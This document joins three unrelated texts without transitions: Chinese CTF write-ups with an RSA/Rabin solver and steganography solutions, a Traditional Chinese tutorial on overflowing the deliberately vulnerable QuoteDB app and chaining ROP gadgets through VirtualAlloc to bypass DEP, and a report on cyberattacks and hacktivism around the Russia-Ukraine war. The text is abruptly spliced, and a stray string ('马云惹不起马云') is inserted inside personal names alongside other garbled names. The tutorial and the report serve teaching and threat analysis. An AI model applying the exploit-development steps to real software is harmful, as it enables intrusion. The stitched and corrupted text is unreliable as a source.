    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)
 

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

QQ截图20231031201722.jpg
QQ截图20231031201800.jpg
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
QQ截图20231103161610.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
QQ截图20231115183749.png
保存后得到如下图片
QQ截图20231127224849.png
爆破一下宽高得到key
QQ截图20231127225006.png
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
QQ截图20231115185454.png
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123
QQ截图20231101223417.jpg
最后用该秘密通过jphs解出得到flag
QQ截图20231102195944.jpg
打开得到flag
image-20231224135701085
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
QQ截图20231115192308.png
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
QQ截图20231115192429.png
这里找到两个关键的txt,先dump下来看下
QQ截图20231115192531.png
先打开看一下do_you_want_listen
QQ截图20231115192616.png
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
QQ截图20231108193721.png
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
QQ截图20231115192943.png
打开听一下是sstv
那么手机打开robot36得到第一段flag
QQ图片20231108194442.jpg
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
QQ截图20231115193359.png
一样dump下来
解压后是flag2
QQ截图20231115193455.png
根据翻译推测可能是snow加密
QQ截图20231109135844.png
直接解一下,发现是无密码的snow
QQ截图20231109142315.png
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
QQ截图20231115193712.png
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
QQ截图20231115193958.png
解一下是aes
得到第三段flag
QQ截图20231110140108.png
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件1o1tvvkgyrw13506.png
打开txt文件得到
p2sipmw0m4r13511.png
翻到最下面有
4f4im1qbjnb13514.png
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
image.png
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
image.png
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址:https://dce.i-soon.net/#/group/detail/31

DEP(數據執行保護)是一種內存保護功能,允許系統將內存頁標記為不可執行。 ROP(面向返回的編程)是一種利用技術,允許攻擊者在啟用DEP等保護的情況下執行shellcode。在這篇文章中,我們將介紹應用程序的逆向過程,以發現緩衝區溢出漏洞,並開髮用於繞過DEP的ROP小工具鏈(Gadget Chain)。

我們將在開發過程中使用以下工具:QuoteDB、TCPView(一個查看端口和線程的小工具,只要木馬在內存中運行,一定會打開某個端口,只要黑客進入你的電腦,就有新的線程)、IDA Freeware、WinDbg(在windows平台下,強大的用戶態和內核態調試工具)和rp++。

QuoteDB是一個設計上易受攻擊的應用程序,創建它是為了實踐逆向工程並利用它進行開發。如下圖所示,該應用程序正在偵聽端口3700上的網絡連接:

1.jpg

我們已經使用TCPView確認程序確實在監聽端口3700。

2.jpg

現在我們需要對應用程序進行逆向工程,看看它是如何處理網絡連接的。 accept函數用於允許指定端口上的傳入連接,然後進程創建一個運行“handle_connection”例程的新線程,如下所示:

3.jpg

recv函數用於從連接的套接字接收數據:

4.jpg

我們已經開發了一個基本的Python腳本,它創建一個TCP套接字,並在端口3700上向遠程服務器發送1000個“a”字符:

5.jpg

我們已將WinDbg附加到QuoteDB.exe進程,並列出了加載的模塊,如下圖所示。

6.jpg

我們可以使用“bp”命令在recv函數調用後放置斷點,使用“bl”命令確認斷點已成功設置:

7.jpg

recv函數返回後,EAX寄存器包含以十六進制接收的字節數:

8.jpg

緩衝區的前4個字節表示一個操作碼,該操作碼被移到EAX寄存器中,然後打印在命令行中:

9.jpg

下圖顯示了WinDbg中的printf調用,我們可以觀察到第三個參數(=Opcode)由4個“A”字符組成:

10.jpg

該進程顯示源IP地址、源端口、緩衝區長度和十進制的操作碼:

11.jpg

應用程序從Opcode中減去0x384(十進制900),並將結果與4進行比較。這是一個帶有5個示例的開關,也顯示在下圖中。

12.jpg

EAX寄存器大於4,執行流被重定向到默認情況,該情況調用“log_bad_request”函數:

13.jpg

上述函數包含緩衝區溢出漏洞,如下圖所示,可執行文件在堆棧上分配0x818(2072)字節,用0初始化緩衝區,並在不檢查邊界的情況下將有效負載複製到此緩衝區:

14.jpg

發生溢出是因為要復制的字符數(0x4000)大於緩衝區的大小,並且可能會重寫返回地址:

15.jpg

我們選擇發送3000個“A”字符以利用該漏洞。如下所示,返回地址在堆棧上被重寫,程序因此崩潰:

16.jpg

17.jpg

我們使用了“msf-pattern_create”命令來生成一個唯一的模式,該模式將為我們提供偏移量。

18-1536x180.jpg

應用程序在不同的地址崩潰,該地址用於使用“msf-pattern_offset”命令確定精確的偏移量:

19.jpg

20.jpg

我們修改了概念證明,以包括上述偏移量。在正確的地址崩潰後,ESP寄存器指向我們控制的緩衝區的最後一部分:

21.jpg

22.jpg

我們使用了narly WinDbg擴展來顯示加載的模塊及其內存保護,下圖顯示了該可執行文件是在啟用ASLR和DEP保護的情況下編譯的。

23.jpg

Windows Defender Exploit Guard可以用來啟用/禁用ASLR。我們需要進入“Exploit protection settings”,選擇“Program settings”頁簽,點擊“Add Program to custom”,選擇“Choose exact file path”選項:

24.jpg

25.jpg

我們想通過發送從“\x00”到“\xFF”的所有字節並確定它們如何寫入堆棧來找出哪些字符被認為是“不適合”的:

26-1.jpg

如下圖所示,沒有不適合的字符,不過為了研究,我們將“\x00”視為不適合字符,因為它通常是不適合字符。正因為如此,漏洞開發過程稍微複雜一些,但它可能更容易適應其他應用程序。

27.jpg

我們使用rp++工具從“SysWOW64\kernel32.dll”模塊中提取ROP小工具,因為ASLR是禁用的,所以我們可以選擇任何提供必要ROP小工具的DLL,但是,我們將在以後的文章中看到應用程序洩漏特定DLL中的地址。我們已將小工具中的最大指令數設置為5:

28.jpg

29.jpg

由於DEP保護,堆棧不再是可執行的,我們需要找到執行shellcode的方法。我們可以使用VirtualAlloc、VirtualProtect和WriteProcessMemory等API來繞過DEP。 VirtualAlloc函數用於保留、提交或更改進程地址空間中頁面的狀態。該函數有4個參數:

lpAddress

dwSize

flAllocationType

flProtect

我們的目的是將flAllocationType參數設置為0x1000(MEM_COMMIT),將flProtect設置為0x40(PAGE_EXECUTE_READWRITE)。我們需要在堆棧上創建以下框架:

VirtualAllocaddress

Returnaddress(Shellcodeaddress)

lpAddress(Shellcodeaddress)

dwSize(0x1)

flAllocationType(0x1000)

flProtect(0x40)

我們為每個元素分配了一個特定的值,需要在運行時使用正確的值對其進行修改。

30-1.jpg

如下圖所示,可以在ESP寄存器的固定偏移處找到框架:

31.jpg

kernel32.dll模塊的起始地址可以使用WinDbg來標識。所有ROP小工具的地址必須使用該值而不是“ROP.txt”文件中的加載地址來計算:

32.jpg

首先,我們需要找到一個保存ESP寄存器值的ROP小工具。我們確定了一個將ESP寄存器複製到ESI寄存器的寄存器:

33.jpg

我們修改了Python腳本,以包含kernel32地址和上述ROP小工具偏移量,如下所示:

34-1.jpg

我們已經成功地將執行流程重定向到我們的第一個ROP小工具,接著將其他ROP小工具鏈接在一起,因為ESP仍然指向我們的緩衝區:

35.jpg

36.jpg

現在我們需要找到從ESI寄存器中減去0x1C的方法。然而,由於缺少涉及使用ESI寄存器進行計算的ROP小工具,我們找到了一個將ESI寄存器複製到EAX中的ROP小工具。唯一的問題是ESI也被“POP ESI”指令修改,但是,它不會影響我們的利用:

37.jpg

38.jpg

在許多ROP小工具中發現的另一個寄存器是ECX。我們已經確定了一個ROP小工具,它從堆棧中彈出一個值到ECX寄存器中,另一個小工具將EAX和ECX寄存器加在一起。加上負值等於減去相同的正值:

39.jpg

40.jpg

通過在之前的EAX值上添加-0x1C (=ECX)值,EAX指向VirtualAlloc框架:

41.jpg

因為EAX在任何計算中都很有用,所以我們需要在執行任何其他操作之前找到保存它的方法。我們發現了一個ROP小工具,它將EAX寄存器複製到ECX中,ECX將用於修改框架中的值。事實上,EAX也被這個ROP小工具修改了,但這並不影響我們的利用:

42.jpg

我們修改後的概念證明如下圖所示。 “junk”值對堆棧對齊很有用,對應於“POP reg”和“retn4”指令。

43.jpg

再次運行Python腳本後,我們可以觀察到ECX寄存器的值與之前的EAX寄存器相同,並指向VirtualAlloc框架:

44.jpg

IAT(導入地址表)包含指向由其他DLL導出的函數的指針。例如,kernel32.dll在VirtualAlloc的IAT中有一個條目,即使VirtualAlloc實際地址發生變化,該條目也保持不變:

45.jpg

我們使用了“POP EAX”指令將VirtualAlloc IAT複製到EAX寄存器中,需要對其進行解除引用才能獲得VirtualAlloc地址,如下所示:

46.jpg

47.jpg

在更新Python腳本並再次運行之後,我們成功地獲得了EAX中的VirtualAlloc地址:

1.png

2022年2月24日之前的重大網絡事件時間表

在現代世界,發動任何類型的軍事行動之前都必將出現大規模的網絡攻擊活動,這反過來可以通過監測潛在衝突地區新出現的網絡攻擊來預測衝突發展情況。例如,在2013年末和2014年1月,研究人員觀察到Turla APT組織在烏克蘭的活動高於正常水平,並且BlackEnergy APT攻擊事件數量激增。同樣,在2022年2月初,研究人員注意到與Gamaredon CC服務器相關的活動量大幅飆升。這一活動達到了迄今為止從未見過的水平,這意味著為大規模的SIGINT(信號情報,通過攔截信號收集)收集工作正在進行。

2.png

如這些案例所示,在現代軍事衝突之前的幾天和幾週內,網絡戰中會出現與情報收集和破壞性攻擊有關的顯著跡象和峰值。當然,我們應該注意到,相反的情況也是可能的:例如,從2016年6月開始,但最值得注意的是,自2016年9月一直到2016年12月,Turla組織將其基於衛星的CC註冊量提高了2015年平均值的十倍。這表明Turla組織異常活躍,這表明該組織前所未有地調動了資源。與此同時,據我們所知,沒有發生隨後的軍事衝突。

如今的軍事行動是在實地收集支持情報之後進行的;這包括SIGINT和ELINT等。重大軍事行動(如2003年入侵伊拉克)還輔以旨在使敵人通信網絡癱瘓的強大網絡攻擊,在2022年2月,研究人員注意到與Gamaredon CC服務器相關的活動大幅增加,2013年底和2014年初,Turla和BlackEnergy的APT活動也出現了類似的激增。在軍事衝突發生前的幾天或幾週內,網絡戰會出現明顯的跡象和高峰。

在俄烏衝突衝突的第一天(2022年2月24日),烏克蘭實體遭受了大規模的無差別雨刷攻擊。這些攻擊的主要目標可能是造成混亂和混亂,而不是實現精確的戰術目標。相反,這一階段所使用的工具在本質上也是多種多樣的:

Ransomware (IsaacRansom);

冒牌勒索軟件(WhisperGate);

雨刷(hermetwiper, CaddyWiper, DoubleZero, IsaacWiper);

ICS/OT雨刷(AcidRain, industrroyer2)。

其中一些特別複雜。據我們所知,HermeticWiper仍然是野外發現的最先進的雨刷軟件。 industrroyer2是在一家烏克蘭能源供應商的網絡中發現的,如果攻擊者無法訪問與受害者使用的相同ICS設備,則不太可能開發它。也就是說,從軟件工程的角度來看,這些工具中的許多都非常粗糙,似乎是匆忙開發出來的。

除了AcidRain(見下文)之外,我們認為這些不同的破壞性攻擊都是隨機的和不協調的——而且我們認為,在戰爭的宏偉計劃中影響有限。

Viasat事件2月24日俄烏衝突爆發時,覆蓋烏克蘭地區的美國衛星運營商Viasat遭遇網絡攻擊,導致數千烏克蘭用戶、數万名歐洲其他地區用戶斷網。經調查,攻擊者利用錯誤配置的VPN設備入侵衛星網管理後台,向數万用戶側Modem下發破壞性指令,從而造成斷網。 KA-SAT衛星網絡曾經被“烏克蘭軍方所頻繁使用”。在被攻擊期間,中歐及東歐地區的KA-SAT衛星服務均發生中斷。這次通信服務中斷也影響到了德國,導致負責控制約5800颱風力渦輪機的調製解調器無法正常聯網。此外,來自法國、意大利、匈牙利、希臘和波蘭的客戶也受到不同程序影響。 5月10日,歐盟將這些惡意活動歸咎於俄羅斯聯邦。這是迄今為止與烏克蘭衝突有關的最複雜的攻擊之一。雖然破壞活動可能沒有嚴重破壞烏克蘭的防禦,但它在戰場之外產生了多重影響。刺激美國參議院要求在衛星網絡安全問題上採取行動,加速SpaceX Starlink的部署。

ViaSat的攻擊活動再次表明,網絡攻擊是現代武裝衝突的基本組成部分,可能直接支持軍事行動。在武裝衝突期間,針對共同通信基礎設施的網絡攻擊極有可能發生,因為交戰方可能認為這些攻擊具有雙重用途。由於互聯網的相互關聯性,針對此類基礎設施的網絡攻擊可能會對未捲入武裝衝突的各方產生副作用。網絡攻擊引發了人們對商業衛星系統網絡安全的擔憂,這些系統可能支持從自拍地理定位到軍事通信等各種應用。雖然軍事力量經常討論針對太空動能戰鬥的保護措施,而且更多的數據中心有望很快升空,但地面站管理系統和運營商似乎仍然高度暴露在常見的網絡威脅之下。

專業勒索軟件組織、黑客活動和DDoS攻擊一如既往,戰爭對信息格局有著非常具體的影響。在2022年尤其如此,因為人類已經掌握了有史以來最強大的信息傳播工具:社交網絡及其充分證明的放大效應。大多數真實世界中與戰爭有關的事件(小規模衝突、死亡人數、戰俘證詞)都在網上被放大。傳統新聞媒體也受到更廣泛的信息戰背景的影響。

DDoS攻擊和在較小程度上破壞隨機網站一直被安全社區視為低複雜性和低影響的攻擊。特別是DDoS攻擊,需要產生大量的網絡流量,攻擊者通常無法維持很長一段時間。一旦攻擊停止,目標網站就會恢復可用。除了電子商務網站暫時的收入損失,DDoS攻擊或破壞提供的唯一價值是受害者的羞辱。由於非專業記者可能不知道各種類型的安全事件之間的區別,他們隨後的報導造成了一種無能和安全不足的印象,可能會削弱用戶的信心。網絡攻擊的不對稱性質在支持大衛與歌利亞的形象方面發揮了關鍵作用,在網絡領域的象徵性勝利有助於說服地面部隊,在現實戰場上也可以取得類似的成就。

根據卡巴斯基DDoS防護公司的數據,自2022年初以來的11個月裡,該服務註冊的攻擊次數比2021年全年多了1.65次。雖然這種增長可能不是很顯著,但與2021年相比,這些資源受到攻擊的時間更長。在2021年,平均攻擊持續約28分鐘,在2022年- 18.5小時,幾乎是原來的40倍。最長的一次攻擊在2021年持續了2天,2022年持續了28天(或2486505秒)。

3.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊總持續時間(秒),按週計算

自戰爭開始以來,一些有明顯政治傾向的黑客組織已經出現,並開始開展一些活動。例如,臭名昭著的匿名組織組織了一場活動,將數十輛出租車同時叫到同一個地點,造成了莫斯科的交通堵塞。

卡巴斯基DDoS防護也反映了這一趨勢。大規模DDoS攻擊在一年中分佈不均,春季和初夏是最激烈的時期。

4.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊數,按週計算

攻擊者在2月至3月初達到高峰,這反映了黑客活動的增長,到了秋天,黑客活動已經停止。目前,我們看到了一個經常性的預期攻擊動態,儘管它們的質量發生了變化。 5月至6月,我們發現了極長時間的攻擊。然而,現在它們的長度已經穩定下來,而典型的攻擊過去只持續幾分鐘,現在則持續數小時。

2022年2月25日,臭名昭著的Conti勒索軟件組織宣布他們“全力支持俄羅斯政府”。聲明中有一句話:“如果有人決定對俄羅斯發動網絡攻擊或任何戰爭活動,我們將動用一切可能的資源,對敵人的關鍵基礎設施進行反擊。”該組織隨後很快發布了另一條帖子,澄清了他們在衝突中的立場:“作為對西方戰爭販子和美國對俄羅斯聯邦公民使用網絡戰的威脅的回應,Conti團隊正式宣布,如果西方戰爭販子試圖以俄羅斯或世界上任何俄語地區的關鍵基礎設施為目標,我們將動用我們的全部能力採取報復措施。我們不與任何政府結盟,我們譴責正在進行的戰爭。然而,由於西方主要以平民為目標發動戰爭,如果美國的網絡攻擊將危及和平公民的福祉和安全,我們將利用我們的資源進行反擊。”

兩天后,一名烏克蘭安全研究人員洩露了Conti組織成員之間的大量內部私人信息,涵蓋了從2021年1月開始的一年多的活動。這對該組織造成了重大打擊,他們看到自己的內部活動暴露在公眾面前,包括與數百萬美元贖金有關的比特幣錢包地址。與此同時,另一個名為“comomingproject”的網絡犯罪組織專門從事數據洩露,宣佈如果他們看到針對俄羅斯的攻擊,他們將支持俄羅斯政府:

5.png

其他組織,如Lockbit,更傾向於保持中立,聲稱他們是一個國際社會,包括俄羅斯人和烏克蘭人,而且“一切都是生意”:

6.png

2月26日,烏克蘭副總理兼數字轉型部長米哈伊洛马云惹不起马云費多羅夫(Mykhailo Fedorov)宣布創建一個Telegram頻道,以“繼續在網絡戰線上戰鬥”。最初的Telegram頻道名稱(itarmyourraine)有一個拼寫錯誤,因此創建了第二個。

7.png

烏克蘭的Telegram頻道

信道運營商不斷地給用戶分配任務,例如DDoS攻擊各種商業公司、銀行或政府網站:

8.png

烏克蘭IT部門發布的DDoS目標列表

據報導,在很短的時間內,由志願者組成的“烏克蘭IT軍”(通過Twitter和Telegram進行協調)對800多個網站進行了破壞或DDOS攻擊,包括莫斯科證券交易所等知名機構。

其他組織也觀察到了類似的活動,隨著衝突蔓延到鄰國,它們已經站隊。例如,白俄羅斯網絡游擊隊聲稱,他們將白俄羅斯鐵路改為手動控制,從而擾亂了鐵路的運營。目標是減緩俄羅斯軍隊在該國的行動。

9.png

白俄羅斯網絡游擊隊的帖子

一些表達了他們對烏克蘭衝突看法的勒索軟件或黑客組織的有限且迄今為止並不詳盡的列表包括:

10.png

在公開支持俄羅斯的組織中,最初作為對“烏克蘭IT軍”的回應而成立的Killnet可能是最活躍的。 4月下旬,他們攻擊了羅馬尼亞政府網站,以回應羅馬尼亞眾議院議長馬塞爾马云惹不起马云西奧拉庫(Marcel Ciolacu)在向烏克蘭當局承諾“最大限度的援助”後發表的聲明。 5月15日,Killnet在其telegram頻道上發布了一段視頻,向十個國家宣戰:美國、英國、德國、意大利、拉脫維亞、羅馬尼亞、立陶宛、愛沙尼亞、波蘭和烏克蘭。在這些活動之後,被稱為“匿名者”的國際黑客團體於5月23日宣布對Killnet發動網絡戰。

Killnet在2022年繼續其活動,此前他們在Telegram頻道上發布了一則聲明。 10月,該組織開始攻擊日本的某些組織,後來由於缺乏資金,他們停止了攻擊。後來,它攻擊了一個美國機場、政府網站和企業,但往往沒有取得重大成功。 11月23日,Killnet短暫關閉了歐盟的網站。 Killnet還多次針對拉脫維亞、立陶宛、挪威、意大利和愛沙尼亞的網站。雖然Killnet的方法並不復雜,但它們不斷成為頭條新聞,並引起人們對該組織活動和立場的關注。

俄烏衝突為各方新的網絡軟件活動創造了溫床,其中包括網絡犯罪分子和黑客,他們爭相支持自己最喜歡的一方;

我們可以預見,從現在起,黑客組織將捲入所有重大的地緣政治衝突;

網絡軟件活動正在蔓延到鄰國,並影響到大量機構,包括政府機構和私營公司;

烏克蘭IT軍(IT Army of Ukraine)等組織得到了政府的正式支持,他們的Telegram頻道擁有數十萬訂閱者;

大多數時候,這些組織實施的攻擊對沖突的影響非常有限。

黑客攻擊和隱私洩漏在試圖劫持媒體注意力的更為複雜的攻擊方面,自衝突開始以來,黑客和洩密活動一直在增加。這個過程很簡單,攻擊一個組織,並在網上發布其內部數據。從理論上講,這些數據洩露是可以操縱的。攻擊者有足夠的時間編輯任何已發布的文件,或者乾脆注入完全偽造的文件。需要注意的是,攻擊者完全沒有必要為了數據洩漏造成破壞而花費如此長的時間。這些數據的公開本身就證明發生了嚴重的安全事件,而合法的原始內容可能已經包含了犯罪信息。

在我們對2023年APT的預測中,我們預測黑客和洩密行動明年將會增加;

信息戰不僅針對各參與方,而是針對所有組織的。我們預計,絕大多數此類攻擊不會針對交戰雙方,而是針對那些被認為過於支持(或不夠支持)任何一方的組織;

無論是黑客攻擊還是DDoS攻擊,網絡攻擊都是國家之間發出攻擊信號的一種手段;

開源軟件武器化開源軟件有很多好處。首先,它通常是免費使用的,這意味著企業和個人可以節省軟件成本。然而,由於任何人都可以對代碼做出貢獻並進行改進,這也可能被濫用,進而打開安全陷阱門。另一方面,由於代碼可以公開檢查任何潛在的安全漏洞,這也意味著只要有足夠的審查,使用開源軟件的風險可以降低到合適的水平。

早在3月,流行的npm包“node ipc”的開發者RIAEvangelist發布了該軟件的修改版本,如果運行的系統具有俄羅斯或白俄羅斯的IP地址,則該軟件包含特殊功能。在這樣的系統上,代碼將用一個心形表情符號覆蓋所有文件,另外部署來自同一開發人員創建的另一個模塊的消息with - love - from - america .txt。 node-ipc包在全球擁有超過80萬用戶。與開源軟件通常的情況一樣,部署這些修改過的“node-ipc”版本的效果並不僅限於直接用戶,其他開源軟件包,例如“Vue.js”,自動包含最新的node-ipc版本,放大了效果。

旨在俄羅斯市場傳播的軟件包並不總是會導致文件被破壞,其中一些包含隱藏功能,例如在軟件網站的某個部分添加烏克蘭國旗或支持該國的政治聲明。在某些情況下,該軟件包的功能被刪除,並被政治通知所取代。值得注意的是,並不是所有的包都隱藏了這個功能,一些開發者在軟件包描述中宣布了這個功能。

11.png

其中一個項目鼓勵傳播一個文件,該文件一旦打開,就會開始通過JavaScript訪問註冊服務器的各個頁面,從而使網站過載。

GitHub上發現的其他存儲庫和軟件模塊包括專門為DDoS俄羅斯政府、銀行和媒體網站創建的存儲庫,專門用於收集俄羅斯基礎設施和活動數據的網絡掃描儀。

